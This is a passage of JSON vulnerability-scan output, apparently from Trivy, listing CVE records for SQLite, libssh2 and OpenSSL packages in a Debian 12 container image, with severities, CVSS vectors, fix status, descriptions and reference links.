"https://sqlite.org/src/info/87b653731171", "https://sqlite.org/src/info/fad98805b7d7", "https://ubuntu.com/security/notices/USN-8480-1", "https://www.cve.org/CVERecord?id=CVE-2026-11822", "https://www.vulncheck.com/advisories/sqlite-before-memory-corruption-in-fts5-extension" ], "PublishedDate": "2026-06-09T20:16:32.15Z", "LastModifiedDate": "2026-10-30T02:17:08.76Z" }, { "VulnerabilityID": "CVE-2026-11824", "PkgID": "libsqlite3-0@3.40.1-2+deb12u2", "PkgName": "libsqlite3-0", "PkgIdentifier": { "PURL": "pkg:deb/debian/libsqlite3-0@3.40.1-2%2Bdeb12u2?arch=amd64\u0026distro=debian-12.13", "UID": "6e5c582201f7d46b" }, "InstalledVersion": "3.40.1-2+deb12u2", "Status": "fix_deferred", "Layer": { "DiffID": "sha256:6ff9247b3f41dc0936f831eb656f2c2fca4682b9f1cbc17d601d0ab9f1f43e4a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-11824", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:838229575aadd5e3d8dee1d4833cdd82b1b9a5f8993a89a40c3d407243aea323", "Title": "sqlite: SQLite: Arbitrary code execution and crash via heap-based buffer overflow in FTS5", "Description": "SQLite before 3.53.2 contains a heap-based buffer overflow vulnerability in the FTS5 full-text search extension that allows attackers to cause a crash or execute arbitrary code by supplying a crafted database with malicious continuation page metadata specifying a szLeaf value smaller than 4. Attackers can trigger an integer underflow in fts5ChunkIterate() causing an inflated remaining byte count during FTS5 MATCH query processing, leading to a heap buffer overflow of attacker-controlled data in applications compiled with SQLITE_ENABLE_FTS5.", "Severity": "HIGH", "CweIDs": [ "CWE-122" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bitnami": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:58936", "https://access.redhat.com/security/cve/CVE-2026-11824", "https://bugzilla.redhat.com/show_bug.cgi?id=2487258", "https://bugzilla.redhat.com/show_bug.cgi?id=2487269", "https://cert-portal.siemens.com/productcert/html/ssa-765416.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-11822", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-11824", "https://errata.almalinux.org/9/ALSA-2026-58936.html", "https://errata.rockylinux.org/RLSA-2026:58936", "https://linux.oracle.com/cve/CVE-2026-11824.html", "https://linux.oracle.com/errata/ELSA-2026-58938.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-11824", "https://sqlite.org/releaselog/3_53_2.html", "https://sqlite.org/src/info/061febcf41ca", "https://sqlite.org/src/info/4a5ad516ea93", "https://ubuntu.com/security/notices/USN-8480-1", "https://www.cve.org/CVERecord?id=CVE-2026-11824", "https://www.vulncheck.com/advisories/sqlite-before-heap-buffer-overflow-via-fts5-fts5chunkiterate" ], "PublishedDate": "2026-06-09T20:16:32.3Z", "LastModifiedDate": "2026-10-15T02:18:37.653Z" }, { "VulnerabilityID": "CVE-2026-119373", "PkgID": "libsqlite3-0@3.40.1-2+deb12u2", "PkgName": "libsqlite3-0", "PkgIdentifier": { "PURL": "pkg:deb/debian/libsqlite3-0@3.40.1-2%2Bdeb12u2?arch=amd64\u0026distro=debian-12.13", "UID": "6e5c582201f7d46b" }, "InstalledVersion": "3.40.1-2+deb12u2", "Status": "affected", "Layer": { "DiffID": "sha256:6ff9247b3f41dc0936f831eb656f2c2fca4682b9f1cbc17d601d0ab9f1f43e4a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-119373", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:8a5bc2a3de0373e0be3c1062a601b33483ab5212f27709077fc9d2a8a226c01f", "Title": "sqlite: sqlite: Denial of service via heap-based buffer overflow in FTS5", "Description": "SQLite before 3.54.0 built with FTS5 contains a heap buffer overflow in fts5MergeRowidLists() that undersizes the output buffer when merging detail=none prefix doclists. Attackers who can populate a detail=none FTS5 table with negative rowids and run a prefix MATCH query can write past the allocation, corrupting heap memory and crashing the process.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "redhat": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://abraxaslabs.tech/research/sqlite-fts5-rowidmerge", "https://access.redhat.com/security/cve/CVE-2026-119373", "https://github.com/sqlite/sqlite", "https://github.com/sqlite/sqlite/blob/version-3.53.4/ext/fts5/fts5_index.c#L6107", "https://github.com/sqlite/sqlite/commit/e1c9934f9f11a499029abb020ea715a08970da80", "https://nvd.nist.gov/vuln/detail/CVE-2026-119373", "https://sqlite.org/bugs/info/2026-08-04T08:49:27Z", "https://sqlite.org/releaselog/3_54_0.html", "https://sqlite.org/src/info/a7f8c92f62", "https://www.cve.org/CVERecord?id=CVE-2026-119373", "https://www.vulncheck.com/advisories/sqlite-before-3.54.0-fts5-heap-buffer-overflow-via-fts5mergerowidlists" ], "PublishedDate": "2026-10-30T12:16:36.027Z", "LastModifiedDate": "2026-11-05T21:18:41.047Z" }, { "VulnerabilityID": "CVE-2026-119374", "PkgID": "libsqlite3-0@3.40.1-2+deb12u2", "PkgName": "libsqlite3-0", "PkgIdentifier": { "PURL": "pkg:deb/debian/libsqlite3-0@3.40.1-2%2Bdeb12u2?arch=amd64\u0026distro=debian-12.13", "UID": "6e5c582201f7d46b" }, "InstalledVersion": "3.40.1-2+deb12u2", "Status": "affected", "Layer": { "DiffID": "sha256:6ff9247b3f41dc0936f831eb656f2c2fca4682b9f1cbc17d601d0ab9f1f43e4a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-119374", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:73f4d5d180c5d614b005d7b070e8fc3cb2c21eb7b8e99c4631cd3337aa1bf1e5", "Title": "sqlite: sqlite: Arbitrary code execution via corrupted FTS5 index", "Description": "SQLite before 3.54.0 built with FTS5 contains a heap buffer overflow in fts5DoSecureDelete() that allows attackers to write past the leaf page buffer via crafted footer key offsets. Attackers can supply a database file with a corrupted FTS5 index that, when deleted from with secure-delete enabled, corrupts heap memory and crashes the application.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "redhat": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://abraxaslabs.tech/research/sqlite-fts5-securedel", "https://access.redhat.com/security/cve/CVE-2026-119374", "https://github.com/sqlite/sqlite", "https://github.com/sqlite/sqlite/blob/version-3.53.4/ext/fts5/fts5_index.c#L5525", "https://github.com/sqlite/sqlite/commit/d9de6eedbe918c074c7556400fa21df5960704d9", "https://nvd.nist.gov/vuln/detail/CVE-2026-119374", "https://sqlite.org/releaselog/3_54_0.html", "https://sqlite.org/src/info/9cd4f9e920", "https://www.cve.org/CVERecord?id=CVE-2026-119374", "https://www.vulncheck.com/advisories/sqlite-before-3.54.0-heap-buffer-overflow-via-fts5-fts5dosecuredelete" ], "PublishedDate": "2026-10-30T12:16:36.187Z", "LastModifiedDate": "2026-11-03T16:09:06.143Z" }, { "VulnerabilityID": "CVE-2026-119379", "PkgID": "libsqlite3-0@3.40.1-2+deb12u2", "PkgName": "libsqlite3-0", "PkgIdentifier": { "PURL": "pkg:deb/debian/libsqlite3-0@3.40.1-2%2Bdeb12u2?arch=amd64\u0026distro=debian-12.13", "UID": "6e5c582201f7d46b" }, "InstalledVersion": "3.40.1-2+deb12u2", "Status": "affected", "Layer": { "DiffID": "sha256:6ff9247b3f41dc0936f831eb656f2c2fca4682b9f1cbc17d601d0ab9f1f43e4a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-119379", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:4c1c217fbe61638ad9212288baf40936cfd7897ff077b122a556e5f93cf1c088", "Title": "sqlite: sqlite: Arbitrary code execution via crafted session changesets", "Description": "SQLite before 3.54.0 built with the session extension contains a heap buffer overflow vulnerability in sqlite3changeset_apply() that allows attackers to corrupt heap memory by supplying crafted changesets. Attackers can repeat a table name in a second changeset block with a larger column count, causing sessionUpdateFind() to memset past the undersized aUpdateMask allocation.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "redhat": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://abraxaslabs.tech/research/sqlite-session-ncol", "https://access.redhat.com/security/cve/CVE-2026-119379", "https://github.com/sqlite/sqlite", "https://github.com/sqlite/sqlite/blob/version-3.53.4/ext/session/sqlite3session.c#L5619", "https://github.com/sqlite/sqlite/commit/64459c87cc702d600704fb77ee40ca1782398a52", "https://nvd.nist.gov/vuln/detail/CVE-2026-119379", "https://sqlite.org/bugs/info/2026-08-16T10:15:25Z", "https://sqlite.org/releaselog/3_54_0.html", "https://sqlite.org/src/info/3f57024aecea0f3b", "https://www.cve.org/CVERecord?id=CVE-2026-119379", "https://www.vulncheck.com/advisories/sqlite-before-3.54.0-heap-buffer-overflow-via-session-extension-sessionupdatefind" ], "PublishedDate": "2026-10-30T12:16:36.967Z", "LastModifiedDate": "2026-11-03T15:38:24.827Z" }, { "VulnerabilityID": "CVE-2026-58050", "VendorIDs": [ "DLA-4773-1" ], "PkgID": "libssh2-1@1.10.0-3+b1", "PkgName": "libssh2-1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libssh2-1@1.10.0-3%2Bb1?arch=amd64\u0026distro=debian-12.13", "UID": "6eb86400237eb808" }, "InstalledVersion": "1.10.0-3+b1", "FixedVersion": "1.10.0-3+deb12u1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-58050", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:e287361c2cc0b1f883a6d44d5dbc7f07775cd379ab360a070fc7b6c7a7cfec49", "Title": "libssh2: libssh2: Heap buffer overflow via integer overflow in publickey attribute allocation", "Description": "libssh2 through 1.11.1 reads an attacker-controlled 32-bit attribute count from a publickey-subsystem response and uses it in the allocation num_attrs * sizeof(libssh2_publickey_attribute) without bounds checking, so on 32-bit platforms the multiplication overflows to an undersized buffer. A malicious SSH server can then drive the attribute-parsing loop to write past the allocation, causing a heap buffer overflow in a connecting libssh2 client.", "Severity": "HIGH", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "amazon": 3, "azure": 3, "julia": 3, "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V40Vector": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:L/VA:H/SC:N/SI:N/SA:N", "V3Score": 7.5, "V40Score": 8.3 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-58050", "https://github.com/advisories/GHSA-mf77-5hj2-98w9", "https://github.com/bikini/exploitarium/tree/main/libssh2-publickey-list-calc-poc", "https://github.com/libssh2/libssh2/blob/master/src/publickey.c", "https://github.com/libssh2/libssh2/pull/2205#discussion_r3523193089", "https://nvd.nist.gov/vuln/detail/CVE-2026-58050", "https://ubuntu.com/security/notices/USN-8532-1", "https://ubuntu.com/security/notices/USN-8799-1", "https://www.cve.org/CVERecord?id=CVE-2026-58050", "https://www.vulncheck.com/advisories/libssh2-integer-overflow-in-publickey-subsystem-attribute-allocation" ], "PublishedDate": "2026-06-28T02:16:32.017Z", "LastModifiedDate": "2026-10-25T17:10:00.197Z" }, { "VulnerabilityID": "CVE-2026-7598", "VendorIDs": [ "DLA-4773-1" ], "PkgID": "libssh2-1@1.10.0-3+b1", "PkgName": "libssh2-1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libssh2-1@1.10.0-3%2Bb1?arch=amd64\u0026distro=debian-12.13", "UID": "6eb86400237eb808" }, "InstalledVersion": "1.10.0-3+b1", "FixedVersion": "1.10.0-3+deb12u1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-7598", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:8ff4ecb1d4ae484abd633b722f9733c44c424d28b1e413ea6b2d0932eeb8f9be", "Title": "libssh2: integer overflow via large username or password arguments", "Description": "A security vulnerability has been detected in libssh2 up to 1.11.1. The impacted element is the function userauth_password of the file src/userauth.c. Such manipulation of the argument username_len/password_len leads to integer overflow. The attack may be launched remotely. The name of the patch is 256d04b60d80bf1190e96b0ad1e91b2174d744b1. A patch should be applied to remediate this issue.", "Severity": "HIGH", "CweIDs": [ "CWE-189", "CWE-190" ], "VendorSeverity": { "amazon": 2, "azure": 2, "julia": 2, "photon": 4, "redhat": 3, "ubuntu": 2 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N", "V3Score": 7.3, "V40Score": 6.9 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H", "V3Score": 9.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:16736", "https://access.redhat.com/errata/RHSA-2026:61752", "https://access.redhat.com/errata/RHSA-2026:7021", "https://access.redhat.com/security/cve/CVE-2026-7598", "https://bugzilla.redhat.com/show_bug.cgi?id=2464597", "https://github.com/libssh2/libssh2/", "https://github.com/libssh2/libssh2/commit/256d04b60d80bf1190e96b0ad1e91b2174d744b1", "https://github.com/libssh2/libssh2/pull/1858", "https://nvd.nist.gov/vuln/detail/CVE-2026-7598", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-7598.json", "https://ubuntu.com/security/notices/USN-8309-1", "https://vuldb.com/submit/805564", "https://vuldb.com/vuln/360555", "https://vuldb.com/vuln/360555/cti", "https://www.cve.org/CVERecord?id=CVE-2026-7598" ], "PublishedDate": "2026-05-01T22:16:16.947Z", "LastModifiedDate": "2026-09-01T13:19:59.617Z" }, { "VulnerabilityID": "CVE-2026-31789", "VendorIDs": [ "DSA-6201-1" ], "PkgID": "libssl3@3.0.18-1~deb12u2", "PkgName": "libssl3", "PkgIdentifier": { "PURL": "pkg:deb/debian/libssl3@3.0.18-1~deb12u2?arch=amd64\u0026distro=debian-12.13", "UID": "bdd2ef70447d8bfd" }, "InstalledVersion": "3.0.18-1~deb12u2", "FixedVersion": "3.0.19-1~deb12u2", "Status": "fixed", "Layer": { "DiffID": "sha256:b99979c554d5f2d69cbadc58ddd93437ce6bba42863814753b116dd758762b98" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31789", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:0594924f4d46dae2e5af29cf1c6705d70d50aabc6522f93398a2f09d75f3426b", "Title": "openssl: OpenSSL: Heap buffer overflow on 32-bit systems from large X.509 certificate processing", "Description": "Issue summary: Converting an excessively large OCTET STRING value to\na hexadecimal string leads to a heap buffer overflow on 32 bit platforms.\n\nImpact summary: A heap buffer overflow may lead to a crash or possibly\nan attacker controlled code execution or other undefined behavior.\n\nIf an attacker can supply a crafted X.509 certificate with an excessively\nlarge OCTET STRING value in extensions such as the Subject Key Identifier\n(SKID) or Authority Key Identifier (AKID) which are being converted to hex,\nthe size of the buffer needed for the result is calculated as multiplication\nof the input length by 3. On 32 bit platforms, this multiplication may overflow\nresulting in the allocation of a smaller buffer and a heap buffer overflow.\n\nApplications and services that print or log contents of untrusted X.509\ncertificates are vulnerable to this issue. As the certificates would have\nto have sizes of over 1 Gigabyte, printing or logging such certificates\nis a fairly unlikely operation and only 32 bit platforms are affected,\nthis issue was assigned Low severity.\n\nThe FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this\nissue, as the affected code is outside the OpenSSL FIPS module boundary.", "Severity": "CRITICAL", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "azure": 2, "julia": 4, "nvd": 4, "photon": 4, "redhat": 1, "ubuntu": 1 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 9.8 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 9.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:H", "V3Score": 5.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-31789", "https://cert-portal.siemens.com/productcert/html/ssa-032379.html", "https://github.com/advisories/GHSA-j79m-9jxq-788r", "https://github.com/openssl/openssl/commit/364f095b80601db632b0def6a33316967f863bde", "https://github.com/openssl/openssl/commit/7a9087efd769f362ad9c0e30c7baaa6bbfa65ecf", "https://github.com/openssl/openssl/commit/945b935ac66cc7f1a41f1b849c7c25adb5351f49", "https://github.com/openssl/openssl/commit/a24216018e1ede8ff01a4ff5afff7dfbd443e2f9", "https://github.com/openssl/openssl/commit/a91e537d16d74050dbde50bb0dfb1fe9930f0521", "https://nvd.nist.gov/vuln/detail/CVE-2026-31789", "https://openssl-library.org/news/secadv/20260407.txt", "https://ubuntu.com/security/notices/USN-8155-1", "https://www.cve.org/CVERecord?id=CVE-2026-31789", "https://www.openwall.com/lists/oss-security/2026/04/07/11" ], "PublishedDate": "2026-04-07T22:16:21.617Z", "LastModifiedDate": "2026-07-24T23:10:00.563Z" }, { "VulnerabilityID": "CVE-2026-28387", "VendorIDs": [ "DSA-6201-1" ], "PkgID": "libssl3@3.0.18-1~deb12u2", "PkgName": "libssl3", "PkgIdentifier": { "PURL": "pkg:deb/debian/libssl3@3.0.18-1~deb12u2?arch=amd64\u0026distro=debian-12.13", "UID": "bdd2ef70447d8bfd" }, "InstalledVersion": "3.0.18-1~deb12u2", "FixedVersion": "3.0.19-1~deb12u2", "Status": "fixed", "Layer": { "DiffID": "sha256:b99979c554d5f2d69cbadc58ddd93437ce6bba42863814753b116dd758762b98" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-28387", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:854621088a66ad6fa52c38a434160b6cf084e8c7979d258dc9aa23be1d0de8b0", "Title": "openssl: OpenSSL: Arbitrary code execution due to use-after-free in DANE TLSA authentication", "Description": "Issue summary: An uncommon configuration of clients performing DANE TLSA-based\nserver authentication, when paired with uncommon server DANE TLSA records, may\nresult in a use-after-free and/or double-free on the client side.\n\nImpact summary: A use after free can have a range of potential consequences\nsuch as the corruption of valid data, crashes or execution of arbitrary code.\n\nHowever, the issue only affects clients that make use of TLSA records with both\nthe PKIX-TA(0/PKIX-EE(1) certificate usages and the DANE-TA(2) certificate\nusage.\n\nBy far the most common deployment of DANE is in SMTP MTAs for which RFC7672\nrecommends that clients treat as 'unusable' any TLSA records that have the PKIX\ncertificate usages. These SMTP (or other similar) clients are not vulnerable\nto this issue. Conversely, any clients that support only the PKIX usages, and\nignore the DANE-TA(2) usage are also not vulnerable.\n\nThe client would also need to be communicating with a server that publishes a\nTLSA RRset with both types of TLSA records.\n\nNo FIPS modules are affected by this issue, the problem code is outside the\nFIPS module boundary.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "amazon": 3, "azure": 1, "julia": 3, "nvd": 3, "photon": 3, "redhat": 1, "ubuntu": 1 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L", "V3Score": 3.7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-28387", "https://cert-portal.siemens.com/productcert/html/ssa-032379.html", "https://cert-portal.siemens.com/productcert/html/ssa-265688.html", "https://github.com/openssl/openssl/commit/07e727d304746edb49a98ee8f6ab00256e1f012b", "https://github.com/openssl/openssl/commit/258a8f63b26995ba357f4326da00e19e29c6acbe", "https://github.com/openssl/openssl/commit/444958deaf450aea819171f97ae69eaedede42c3", "https://github.com/openssl/openssl/commit/7a4e08cee62a728d32e60b0de89e6764339df0a7", "https://github.com/openssl/openssl/commit/ec03fa050b3346997ed9c5fef3d0e16ad7db8177", "https://nvd.nist.gov/vuln/detail/CVE-2026-28387", "https://openssl-library.org/news/secadv/20260407.txt", "https://ubuntu.com/security/notices/USN-8155-1", "https://ubuntu.com/security/notices/USN-8155-2", "https://www.cve.org/CVERecord?id=CVE-2026-28387", "https://www.openwall.com/lists/oss-security/2026/04/07/11" ], "PublishedDate": "2026-04-07T22:16:20.7Z", "LastModifiedDate": "2026-07-24T23:10:00.563Z" }, { "VulnerabilityID": "CVE-2026-28388", "VendorIDs": [ "DSA-6201-1" ], "PkgID": "libssl3@3.0.18-1~deb12u2", "PkgName": "libssl3", "PkgIdentifier": { "PURL": "pkg:deb/debian/libssl3@3.0.18-1~deb12u2?arch=amd64\u0026distro=debian-12.13", "UID": "bdd2ef70447d8bfd" }, "InstalledVersion": "3.0.18-1~deb12u2", "FixedVersion": "3.0.19-1~deb12u2", "Status": "fixed", "Layer": { "DiffID": "sha256:b99979c554d5f2d69cbadc58ddd93437ce6bba42863814753b116dd758762b98" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-28388", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:eaac1f05493436588e6c32ed58940ada700a7635c5a3b396d8b1f9921ff596d5", "Title": "openssl: OpenSSL: Denial of Service due to NULL pointer dereference in delta CRL processing", "Description": "Issue summary: When a delta CRL that contains a Delta CRL Indicator extension\nis processed a NULL pointer dereference might happen if the required CRL\nNumber extension is missing.\n\nImpact summary: A NULL pointer dereference can trigger a crash which\nleads to a Denial of Service for an application.\n\nWhen CRL processing and delta CRL processing is enabled during X.509\ncertificate verification, the delta CRL processing does not check\nwhether the CRL Number extension is NULL before dereferencing it.\nWhen a malformed delta CRL file is being processed, this parameter\ncan be NULL, causing a NULL pointer dereference.\n\nExploiting this issue requires the X509_V_FLAG_USE_DELTAS flag to be enabled in\nthe verification context, the certificate being verified to contain a\nfreshestCRL extension or the base CRL to have the EXFLAG_FRESHEST flag set, and\nan attacker to provide a malformed CRL to an application that processes it.\n\nThe vulnerability is limited to Denial of Service and cannot be escalated to\nachieve code execution or memory disclosure. For that reason the issue was\nassessed as Low severity according to our Security Policy.\n\nThe FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue,\nas the affected code is outside the OpenSSL FIPS module boundary.", "Severity": "HIGH", "CweIDs": [ "CWE-476" ], "VendorSeverity": { "amazon": 3, "azure": 2, "julia": 3, "nvd": 3, "photon": 3, "redhat": 1, "ubuntu": 1 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.9 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-28388", "https://cert-portal.siemens.com/productcert/html/ssa-032379.html", "https://cert-portal.siemens.com/productcert/html/ssa-265688.html", "https://github.com/openssl/openssl/commit/59c3b3158553ab53275bbbccca5cb305d591cf2e", "https://github.com/openssl/openssl/commit/5a0b4930779cd2408880979db765db919da55139", "https://github.com/openssl/openssl/commit/602542f2c0c2d5edb47128f93eac10b62aeeefb3", "https://github.com/openssl/openssl/commit/a9d187dd1000130100fa7ab915f8513532cb3bb8", "https://github.com/openssl/openssl/commit/d3a901e8d9f021f3e67d6cfbc12e768129862726", "https://nvd.nist.gov/vuln/detail/CVE-2026-28388", "https://openssl-library.org/news/secadv/20260407.txt", "https://ubuntu.com/security/notices/USN-8155-1", "https://ubuntu.com/security/notices/USN-8155-2", "https://www.cve.org/CVERecord?id=CVE-2026-28388", "https://www.openwall.com/lists/oss-security/2026/04/07/11" ], "PublishedDate": "2026-04-07T22:16:20.863Z", "LastModifiedDate": "2026-07-24T23:10:00.563Z" }, { "VulnerabilityID": "CVE-2026-28389", "VendorIDs": [ "DSA-6201-1" ], "PkgID": "libssl3@3.0.18-1~deb12u2", "PkgName": "libssl3", "PkgIdentifier": { "PURL": "pkg:deb/debian/libssl3@3.0.18-1~deb12u2?arch=amd64\u0026distro=debian-12.13", "UID": "bdd2ef70447d8bfd" }, "InstalledVersion": "3.0.18-1~deb12u2", "FixedVersion": "3.0.19-1~deb12u2", "Status": "fixed", "Layer": { "DiffID": "sha256:b99979c554d5f2d69cbadc58ddd93437ce6bba42863814753b116dd758762b98" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-28389", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:7cb93c03adb8aa2442fe36b2f8fa8d18ff712ee025b027d7fda3bf80c3e9e477", "Title": "openssl: OpenSSL: Denial of Service vulnerability in CMS processing", "Description": "Issue summary: During processing of a crafted CMS EnvelopedData message\nwith KeyAgreeRecipientInfo a NULL pointer dereference can happen.\n\nImpact summary: Applications that process attacker-controlled CMS data may\ncrash before authentication or cryptographic operations occur resulting in\nDenial of Service.\n\nWhen a CMS EnvelopedData message that uses KeyAgreeRecipientInfo is\nprocessed, the optional parameters field of KeyEncryptionAlgorithmIdentifier\nis examined without checking for its presence. This results in a NULL\npointer dereference if the field is missing.\n\nApplications and services that call CMS_decrypt() on untrusted input\n(e.g., S/MIME processing or CMS-based protocols) are vulnerable.\n\nThe FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this\nissue, as the affected code is outside the OpenSSL FIPS module boundary.", "Severity": "HIGH", "CweIDs": [ "CWE-476" ], "VendorSeverity": { "amazon": 3, "azure": 2, "julia": 3, "nvd": 3, "photon": 3, "redhat": 1, "ubuntu": 1 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.9 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-28389", "https://cert-portal.siemens.com/productcert/html/ssa-032379.html", "https://cert-portal.siemens.com/productcert/html/ssa-265688.html", "https://github.com/advisories/GHSA-7x88-9hgc-69gf", "https://github.com/openssl/openssl/commit/16cea4188e0ea567deb4f93f85902247e67384f5", "https://github.com/openssl/openssl/commit/785cbf7ea3b5a6f5adf0c1ccb92b79d89c35c616", "https://github.com/openssl/openssl/commit/7b5274e812400cacb6f3be4c2df5340923fa807f", "https://github.com/openssl/openssl/commit/c6725634e089eb2b634b10ede33944be7248172a", "https://github.com/openssl/openssl/commit/f80f83bc5fd036bc47d773e8b15a001e2b4ce686", "https://nvd.nist.gov/vuln/detail/CVE-2026-28389", "https://openssl-library.org/news/secadv/20260407.txt", "https://ubuntu.com/security/notices/USN-8155-1", "https://ubuntu.com/security/notices/USN-8155-2", 